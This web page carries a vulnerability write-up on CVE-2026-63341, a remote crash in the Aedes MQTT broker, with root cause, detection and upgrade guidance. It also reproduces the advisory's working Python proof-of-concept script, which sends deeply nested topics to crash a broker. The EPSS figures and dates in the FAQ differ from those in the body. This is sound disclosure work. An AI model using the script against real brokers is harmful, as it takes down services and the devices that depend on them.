Home › CVE › JavaScript
CVE-2026-63341 — Aedes has Uncaught Exception and Uncontrolled Resource Consumption
Research article
Aedes MQTT broker: deeply nested topic strings crash the Node.js process (CVE-2026-63341)
| CVE | CVE-2026-63341 |
|---|---|
| Vendor and product | npm:aedes |
| Published | November 21, 2026 00:25 UTC |
| Research cut-off | November 21, 2026 00:20 UTC |
| Sources reviewed | 4: NVD record (last modified 2026-11-05); CISA KEV catalog; GitHub advisory (2026-11-20); FIRST EPSS (2026-11-20) |
Executive summary
CVE-2026-63341 affects the Aedes MQTT broker, where a remote client can crash the whole Node.js process with a PUBLISH or SUBSCRIBE packet, or a Will message, whose topic string has thousands of slash-separated levels [3]. NVD and GitHub both score it CVSS 3.1 7.5 High with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, which reflects availability impact only [1, 3]. Both sources list affected versions as below 1.1.1 and name 1.1.1 as the fixed release, although the GitHub advisory text says all stable versions are affected and gives no fixed version [1, 3]. Exploitation needs network access to the broker's MQTT listener, and authentication only if the broker configuration requires it [3]. The CVE is not in the CISA KEV catalog as of 2026-11-21, and the advisory reports no in-the-wild exploitation, though it includes a public stress script [2, 3]. The FIRST EPSS estimate for exploitation in the next 30 days is 0.36 percent [4]. The most important immediate action is to inventory every Aedes instance, upgrade those below 1.1.1 to 1.1.1 or later, and restrict access to the MQTT listener until the upgrade is done [1, 3].
Key points
- CVE-2026-63341 lets a remote MQTT client crash the Aedes broker's Node.js process with a deeply nested topic in a PUBLISH, SUBSCRIBE or Will message [3].
- Both NVD and GitHub score it CVSS 3.1 7.5 High, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, with availability as the only impact [1, 3].
- Affected versions are below 1.1.1, with 1.1.1 named as the fix, but the GitHub advisory text says all stable versions are affected [1, 3].
- The CVE is not in CISA KEV as of 2026-11-21, the advisory reports no in-the-wild exploitation, and the EPSS 30-day estimate is 0.36 percent [2, 3, 4].
- The most urgent action is to inventory Aedes instances, upgrade anything below 1.1.1, and restrict access to the MQTT listener until the upgrade is applied [1, 3].
Vulnerability identification
| Field | Value |
|---|---|
| CVE ID | CVE-2026-63341 [1, 3] |
| Vendor and product | moscajs, Aedes (an MQTT broker running on Node.js) [1, 3] |
| Component | Subscribe and publish handling, Will message publishing, and the qlobber topic-matching library used through mqemitter [3] |
| Published | NVD: 2026-10-30; GitHub advisory: 2026-11-20 [1, 3] |
| Last modified | NVD: 2026-11-05; GitHub advisory updated 2026-11-20 [1, 3] |
| Record status | NVD status is Deferred [1] |
| CWE | CWE-248 (NVD: name not available; GitHub: Uncaught Exception) and CWE-400 Uncontrolled Resource Consumption [1, 3] |
| CVSS 3.1 base score | 7.5 High, vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. NVD records it as a secondary score by the GitHub security advisories account [1]. GitHub reports the same score and vector [3]. |
| Related identifiers | GHSA-xxqp-5qx8-gj5q [1, 3]; release tag v1.1.1 referenced in the NVD record [1] |
CWE-248 describes a weakness in which an exception is not caught and terminates the program. CWE-400 describes consumption of resources beyond what the software should allow. The two CWE labels in the sources are consistent with the advisory's description, but NVD does not supply a name for CWE-248 [1, 3].
Vulnerability description
The flaw violates availability. A remote MQTT client can make the Aedes broker's Node.js process terminate, which disconnects every connected client [3]. The crash can be triggered by a PUBLISH or SUBSCRIBE packet whose topic has thousands of slash delimiters, and separately by a Will message with such a topic [3]. The vector records no confidentiality or integrity impact [1, 3].
Clients cannot reconnect while the process is down, and recovery depends on an operator or an automatic supervisor restarting the broker [3]. The sources do not establish whether a restart is followed by a repeat crash if the client resends the same packet, whether the crash affects only the broker or the host, or whether any data is lost [1, 3].
Root cause analysis
The advisory names the following causes. This is a Confirmed statement of the advisory's findings, but the advisory is a secondary source for the Aedes code and the vendor's own root-cause analysis is not in the pack [3].
- Aedes does not enforce limits on topic depth or structural complexity, and it does not validate such topics on input [3].
- A topic with a very large number of levels reaches a hard-coded word limit in the _split_words function of the qlobber library, which is used through mqemitter. Qlobber then throws an error [3].
- Aedes does not wrap its internal calls, such as the subscribe handler and the publish logic, in exception handling. The error is therefore uncaught and ends the process [3].
- The advisory says the perimeter, meaning the protocol handling in front of the internal modules, performs no validation for this case [3].
Analyst assessment: an input check on topic depth at the protocol layer, applied before the topic reaches the matching library, would prevent the trigger. The advisory's statement that the library's limit is hard-coded suggests that a fix in Aedes, not a configuration change, is the durable correction, but the upgrade contents are not described in the pack [3].
Technical mechanics
- A client opens an MQTT session with the broker's listener. The advisory's test deployment published port 1883 [3].
- The client sends a PUBLISH or SUBSCRIBE packet whose topic contains thousands of slash delimiters [3].
- For a subscription, the call path is Aedes.subscribe at aedes.js line 289, then SubState.addSubs in lib/handlers/subscribe.js line 167, then MQEmitter.on in mqemitter.js line 65, then Qlobber.add in qlobber.js line 651, then _split at line 624, then _split_words at line 604 [3].
- At line 604 the topic exceeds the hard-coded word limit and qlobber throws an error [3].
- No try-catch wraps the call path, so the exception propagates out of the broker and the Node.js process exits [3].
- Will variant: when a client disconnects ungracefully, the broker publishes its Will by calling the publish function directly, skipping the PUBLISH handler. A Will with a deeply nested topic reaches the same failure at step 4 [3].
Attack surface and exploitation prerequisites
| Factor | Status | Source |
|---|---|---|
| Network access | Remote access to the broker's MQTT listener is required [3] | S3 |
| Adjacent or local access | Not required by the advisory; the vector records network attack vector [1, 3] | S1, S3 |
| Authentication | An MQTT session is needed; whether it must be authenticated depends on broker configuration [3] | S3 |
| Privileges | None stated as required; vector PR:N [1, 3] | S1, S3 |
| User interaction | None stated as required; vector UI:N [1, 3] | S1, S3 |
| Required configuration | The advisory's test used the official Docker image with port 1883 published. Whether the Will variant needs specific settings is not stated [3] | S3 |
| Dependencies | The qlobber and mqemitter versions in use are not stated [3] | S3 |
The vector values are consistent with the advisory's description, but the advisory is the only source describing the actual prerequisites. Whether an authenticated client with limited topic permissions can still send such topics is not established.
Impact analysis
| Security property | Technically demonstrated impact | Plausible downstream consequence |
|---|---|---|
| Availability | Full termination of the broker process, disconnecting all clients; reconnection fails while the service is down [3] | Interruption of IoT devices, applications and users that depend on the broker; the advisory describes this as severe operational interruption [3] |
| Confidentiality | None in the vector [1, 3] | Not established |
| Integrity | None in the vector [1, 3] | Not established |
| Authentication and authorization | Not described as affected [3] | Not established |
| Privilege boundaries | Not described in the sources [3] | Not established |
| Regulatory or contractual obligations | Not described in the sources | Depends on the deployment and is not established |
Affected products and versions
| Vendor | Product or component | Affected versions | Fixed version | Source and qualification |
|---|---|---|---|---|
| moscajs | Aedes | Below 1.1.1, per the CVE record [1] and the GitHub package entry [3] | 1.1.1, per the NVD reference to the v1.1.1 release tag [1] and the GitHub package entry [3] | The GitHub advisory text says all stable versions are affected and names no fixed release [3]. This conflicts with the stated range and is unresolved. |
The qlobber and mqemitter dependency versions are not stated, so the pack does not show which dependency releases contain the limit described above [3]. The advisory's test used the official Docker image of Aedes, but the image tag and the Node.js runtime version are not given [3].
Exploitation and threat intelligence status
- CISA KEV: CVE-2026-63341 is not listed in the catalog as of 2026-11-21. The listing's absence does not show that the flaw has not been exploited [2].
- In-the-wild exploitation: the advisory reports no exploitation in the wild [3]. This is Unknown rather than Confirmed absence.
- Public proof of concept: the advisory includes a Python stress script that sends deeply nested topics through publish and subscribe, and its author reports a crash on the first packet [3]. This is a public proof-of-concept reference, not evidence of exploitation in the wild. The script is not reproduced here.
- EPSS: the estimated probability of exploitation activity in the next 30 days is 0.0037 (0.36 percent), at the 0.3108 percentile [4]. EPSS is a statistical estimate, not evidence of exploitation [4].
- Threat actors, campaigns and targeted sectors: none are attributed in the pack [1, 2, 3, 4].
Detection and exposure assessment
- Inventory: list every Node.js project and container image that depends on Aedes. For a Node.js project, run npm ls aedes in the project directory after dependencies are installed. The command is read-only and is standard npm tooling. The output shows the installed aedes version. Container images need the same check inside the image, because the host's dependency tree does not show what the container runs [1, 3].
- Version comparison: a version below 1.1.1 falls within the affected range [1, 3]. A version check shows presence of the affected range but not that a given deployment is exploitable, because exploitability also depends on whether the listener is reachable [3].
- Reachability: confirm which networks can reach the MQTT listener. The advisory's test port was 1883; the production port must be confirmed from the broker configuration [3].
- Logs: the advisory says the container logs will show the stack trace and the word-limit error from qlobber. Search the broker's container or process logs for that error text and for a process exit immediately after a PUBLISH or SUBSCRIBE from an external client [3]. Whether the broker logs topic names is not established.
- Restart history: check the supervisor or orchestrator restart count for the broker. Repeated unexpected restarts are consistent with the crash described by the advisory but do not prove the cause [3].
Remediation
Immediate mitigation (analyst recommendations; the advisory gives no workaround beyond upgrading [3]):
- Restrict the MQTT listener with firewall rules so that only known client networks can reach it. This limits the population that can send topics, but authorized clients can still trigger the crash. Verify by attempting a connection from a non-permitted host, which should be refused.
- Require client authentication in the broker configuration where the broker supports it, since the advisory says authentication depends on configuration [3]. Verify by confirming that an anonymous session is refused.
- Confirm that the broker runs under a supervisor that restarts it automatically, because the advisory says recovery depends on restart [3]. This shortens an outage but does not prevent the crash.
Permanent fix:
- Upgrade Aedes to version 1.1.1 or later [1, 3]. Update the dependency in each project's package manifest and lock file, rebuild any container image that bundles Aedes, and redeploy. The vendor's release notes for 1.1.1 are not in the pack, so the exact contents of the fix are not verified.
- Before the upgrade, back up the current lock file and keep the previous container image available for rollback.
- After the upgrade, run npm ls aedes and confirm the version is 1.1.1 or later. Restart the broker and confirm that it remains up under normal client traffic for the same period it was previously stable.
Recommended hardening (analyst assessment, not vendor-confirmed): at the protocol layer or in a gateway in front of the broker, reject topics whose number of slash delimiters exceeds a threshold chosen after testing in a non-production environment. The threshold, and whether it covers the Will path, must be validated because the pack gives no safe value.
Remediation checklist
- Inventory every Node.js project and container image that uses Aedes, and run npm ls aedes in each project directory after dependencies are installed; any version below 1.1.1 is in the affected range [1, 3].
- Restrict the MQTT listener to known client networks with firewall rules, and confirm that a connection from a non-permitted host is refused; the advisory gives no workaround beyond upgrading, so this is an analyst recommendation [3].
- Enable client authentication in the broker configuration where it is supported, and confirm that an anonymous session is refused, since the advisory says authentication depends on configuration [3].
- Confirm that the broker is run under a supervisor that restarts it automatically, so that recovery after a crash does not depend on manual action [3].
- Upgrade Aedes to version 1.1.1 or later in each project's package manifest and lock file, and rebuild and redeploy any container image that bundles it [1, 3].
- Before the upgrade, back up the lock file and keep the previous container image available for rollback.
- After the upgrade, confirm with npm ls aedes that the installed version is 1.1.1 or later, and confirm that the broker stays up under normal client traffic [1, 3].
- Search the broker's container or process logs for the qlobber word-limit error and for a process exit that follows an external PUBLISH or SUBSCRIBE; the advisory identifies these logs as the place to look [3].
- Review broker restart history for unexpected restarts over the period since the broker was deployed, and treat such restarts as a lead for investigation rather than proof of exploitation [3].
- Obtain the vendor's 1.1.1 release notes and the referenced commit to confirm the fix contents, because the advisory text does not name a fixed version [1, 3].
- Where a gateway or proxy sits in front of the broker, test a topic-depth limit in a non-production environment before deploying it, because the pack gives no safe threshold [3].
Evidence gaps
- Not established by the reviewed sources: the vendor's own advisory or release notes for Aedes 1.1.1, which would confirm the fixed version and the fix contents. Retrieve the release tag and commit referenced in the NVD record and read the changes to topic validation.
- Not established by the reviewed sources: a complete affected range. The CVE record and the GitHub package entry give below 1.1.1, but the GitHub advisory text says all stable versions are affected. Resolve by testing versions in the vendor's release history and comparing against the vendor's statement.
- Not established by the reviewed sources: whether the NVD record was updated after the GitHub advisory was published on 2026-11-20. The NVD status is Deferred and the NVD last-modified date precedes the GitHub update, so the NVD entry may be stale.
- Not established by the reviewed sources: the versions of the qlobber and mqemitter dependencies that contain the hard-coded limit, and whether an upgraded dependency alone would prevent the crash. Check the lock file of an affected deployment and the dependency's release history.
- Not established by the reviewed sources: whether the Will variant can be triggered in a deployment that uses no authentication or with restricted topic permissions, and whether authenticated clients with limited permissions can still send deep topics. Test in a non-production environment with the broker's authorization configuration.
- Not established by the reviewed sources: whether a broker restart followed by the same client packet produces a repeated crash, and whether the crash affects the host or only the process. Check the broker's supervisor configuration and logs after a controlled restart in staging.
- Not established by the reviewed sources: any in-the-wild exploitation, threat actors, campaigns or targeted sectors. The CISA KEV absence and the advisory's statement do not establish absence of exploitation. Monitor the CISA KEV catalog and the advisory for updates.
- Not established by the reviewed sources: indicators of compromise beyond the log text in the advisory, such as file hashes, network addresses or domains. Check the broker logs for the error text described in the advisory.
- Not established by the reviewed sources: the MQTT port used in production, the broker logging configuration (including whether topic names are logged), and whether a gateway or WAF is deployed in front of the broker. Confirm these from the deployment's configuration files.
References
- CVE-2026-63341 record. NIST National Vulnerability Database (NVD), 2026-11-05. https://nvd.nist.gov/vuln/detail/CVE-2026-63341. Accessed 2026-11-21.
- Known Exploited Vulnerabilities Catalog. Cybersecurity and Infrastructure Security Agency (CISA), 2026-11-21. https://www.cisa.gov/known-exploited-vulnerabilities-catalog. Accessed 2026-11-21.
- GHSA-xxqp-5qx8-gj5q / CVE-2026-63341 — Aedes has Uncaught Exception and Uncontrolled Resource Consumption. GitHub Security Advisory Database, 2026-11-20. https://github.com/advisories/GHSA-xxqp-5qx8-gj5q. Accessed 2026-11-21.
- EPSS score for CVE-2026-63341. FIRST, 2026-11-20. https://api.first.org/data/v1/epss?cve=CVE-2026-63341. Accessed 2026-11-21.
Severity breakdown
High · 7.5
An attacker without an account can exploit this over the network, without any user action.
- Attack from
- the network (remotely)
- Attack complexity
- low (no special conditions)
- Login needed
- no
- User action needed
- no
- Scope
- stays within the vulnerable component
- Impact
- high on availability, none on confidentiality and integrity
Weakness
Affected and fixed versions
| Product | Affected versions | Fixed in |
|---|---|---|
| aedes (npm) | < 1.1.1 | 1.1.1 |
| moscajs aedes | < 1.1.1 | — |
References by type
Vendor advisories
Patches and fixed releases
- github.com/moscajs/aedes/commit/b9024faa4cb416c4c6980760b4d7f55336315f2d
- github.com/moscajs/aedes/releases/tag/v1.1.1
Other references
Details
Summary
A remote Denial of Service (DoS) vulnerability, allows any remote client to cause a complete crash of the Aedes MQTT broker process. This is achieved by sending a specially crafted MQTT message (via PUBLISH or SUBSCRIBE), or by setting a Will message with such a topic, containing a highly recursive topic string (e.g., with thousands of '/' delimiters). The lack of input validation and error handling leads to an uncaught exception in an internal routing library, terminating the entire Node.js application.
Details
The Aedes broker fails to enforce limits on the depth or structural complexity of MQTT topic strings. When a client publishes to or subscribes to a topic with excessive levels of recursion, the internal routing logic cascading into the qlobber library (via mqemitter) reaches an hard-coded limit within the qlobber._split_words function.
This function throws a hard Error: too many words (found in lib/qlobber.js:604). Crucially, Aedes does not wrap the calls to these internal modules (such as in handlers/subscribe.js or the publishing logic) in try-catch blocks. Consequently, this exception propagates up to the main Node.js event loop as an unhandled exception, causing the entire broker process to crash immediately.
This vulnerability affects all stable versions of Aedes due to the underlying dependency behavior and missing perimetral validation.
Stack Trace from Crash:
aedes-broker | /app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604
aedes-broker | throw new Error('too many words');
aedes-broker | ^
aedes-broker |
aedes-broker | Error: too many words
aedes-broker | at Qlobber._split_words (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604:15)
aedes-broker | at Qlobber._split (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:624:18)
aedes-broker | at Qlobber.add (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:651:43)
aedes-broker | at MQEmitter.on (/app/node_modules/mqemitter/mqemitter.js:65:17)
aedes-broker | at Aedes.subscribe (/app/node_modules/aedes/aedes.js:289:11)
aedes-broker | at SubState.addSubs (/app/node_modules/aedes/lib/handlers/subscribe.js:167:12)
The same uncaught exception can be triggered without an explicit PUBLISH/SUBSCRIBE: a client that registers a Will message with a deeply nested topic crashes the broker when the Will is published on ungraceful disconnect, because the Will publish path calls broker.publish directly and bypasses the PUBLISH handler.
PoC
Prerequisites
- Aedes MQTT Broker running and accessible over the network. For testing and replication, the broker was deployed using the official Docker image via the following command:
docker run -d --name aedes-broker -p 1883:1883 moscajs/aedes:latest
- Ability to establish an MQTT session (authenticated or unauthenticated, as per the broker's configuration).
Reproduction Steps
- Save the following Python stress testing script (mqtt_crash_poc.py):
#!/usr/bin/env python3
import argparse
import time
import paho.mqtt.client as mqtt
def on_connect(client, userdata, flags, reason_code, properties=None):
if reason_code != 0:
print(f"[-] Error en la conexión: {reason_code}")
def on_disconnect(client, userdata, disconnect_flags, reason_code, properties=None):
if reason_code != 0:
print(f"[*] -> Desconexión detectada (Caída del bróker). Razón: {reason_code}")
def run_exploit(host, port):
# Escenarios de colapso directo (Casos 1.2, 1.3, 2.2, 2.3)
payloads = [
{"type": "PUB_DEEP", "topic": "a/" * 30000 + "target"},
{"type": "PUB_LIMIT", "topic": "a/" * 32766 + "a/b"},
{"type": "SUB_WILD", "topic": "+/" * 150 + "#", "pub": "A/" * 150 + "target"},
{"type": "SUB_DEEP", "topic": "+/" * 10000 + "#", "pub": "A/" * 10000 + "target"}
]
for case in payloads:
print(f"\n[*] Lanzando vector de ataque tipo: {case['type']}")
client = mqtt.Client(callback_api_version=mqtt.CallbackAPIVersion.VERSION2)
client.on_connect = on_connect
client.on_disconnect = on_disconnect
try:
client.connect(host, port, keepalive=60)
client.loop_start()
time.sleep(1)
if "PUB" in case['type']:
client.publish(case['topic'], payload="DoS_Attack", qos=0)
else:
client.subscribe(case['topic'], qos=0)
time.sleep(1)
client.publish(case['pub'], payload="DoS_Attack", qos=0)
time.sleep(2)
except Exception as e:
print(f"[-] Error durante el envío: {e}")
finally:
client.loop_stop()
client.disconnect()
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--direccion", required=True, help="IP del broker")
parser.add_argument("-p", "--puerto", type=int, default=1883, help="Puerto")
args = parser.parse_args()
run_exploit(args.direccion, args.puerto)
- Run the script against the target broker:python3 mqtt_crash_poc.py -d <BROKER_IP> -p 1883
- Upon execution, the Aedes broker dies instantly on the very first packet (PUB_DEEP). Checking the container logs will reveal the stack trace provided in the Details section, confirming the Error: too many words exception.
Impact
This is a Remote Denial of Service (DoS) vulnerability. It affects any infrastructure running an unpatched Aedes MQTT Broker. A successful attack terminates the service entirely, disconnecting all legitimate clients (IoT devices, applications, users) and preventing reconnection until the process is manually or automatically restarted, causing severe business and operational interruption.
Affected
- npm:aedes
Frequently asked questions
What is CVE-2026-63341?
CVE-2026-63341 affects the Aedes MQTT broker, where a remote client can crash the whole Node.js process with a PUBLISH or SUBSCRIBE packet, or a Will message, whose topic string has thousands of slash-separated levels. NVD and GitHub both score it CVSS 3.1 7.5 High with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, which reflects availability impact only. Weakness type: Uncaught Exception (CWE-248).
How severe is CVE-2026-63341?
CVE-2026-63341 has a CVSS 3.1 base score of 7.5 (high), from the CNA (github.com). An attacker without an account can exploit this over the network, without any user action.
Is CVE-2026-63341 being exploited?
Not as far as is known: CVE-2026-63341 is not in CISA's Known Exploited Vulnerabilities catalog as of November 26, 2026. EPSS estimates a 0.7% chance that it is exploited in the next 30 days.
Which versions are affected by CVE-2026-63341?
aedes (npm) < 1.1.1 (fixed in 1.1.1); moscajs aedes < 1.1.1.
How do I fix CVE-2026-63341?
Inventory every Node.js project and container image that uses Aedes, and run npm ls aedes in each project directory after dependencies are installed; any version below 1.1.1 is in the affected range. Restrict the MQTT listener to known client networks with firewall rules, and confirm that a connection from a non-permitted host is refused; the advisory gives no workaround beyond upgrading, so this is an analyst recommendation. Enable client authentication in the broker configuration where it is supported, and confirm that an anonymous session is refused, since the advisory says authentication depends on configuration.
Timeline & sources
References
Related vulnerabilities & news
- Nuxt Content (@nuxt/content) Unauthenticated Denial of Service via Content Query API (CVE-2026-102650)
- GHSA-c4hm-4h84-2cf3 / CVE-2026-59726 — ruflo MCP bridge allows unauthenticated remote code execution in default Docker Compose deployments
- Apache Texera CVE-2026-112788: Unauthenticated Python Environment Endpoints in Non-Kubernetes Setups
- KindleEar 3.0.0–3.5.3 Remote Code Execution Vulnerability
- LLMKube Model.spec.source path traversal allows arbitrary file read (CVE-2026-68903)